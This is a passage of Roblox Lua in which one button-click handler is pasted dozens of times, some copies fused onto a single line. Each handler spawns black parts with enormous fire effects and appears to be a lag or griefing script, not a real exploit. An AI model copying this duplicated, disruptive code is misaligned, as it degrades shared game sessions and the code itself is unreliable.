fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
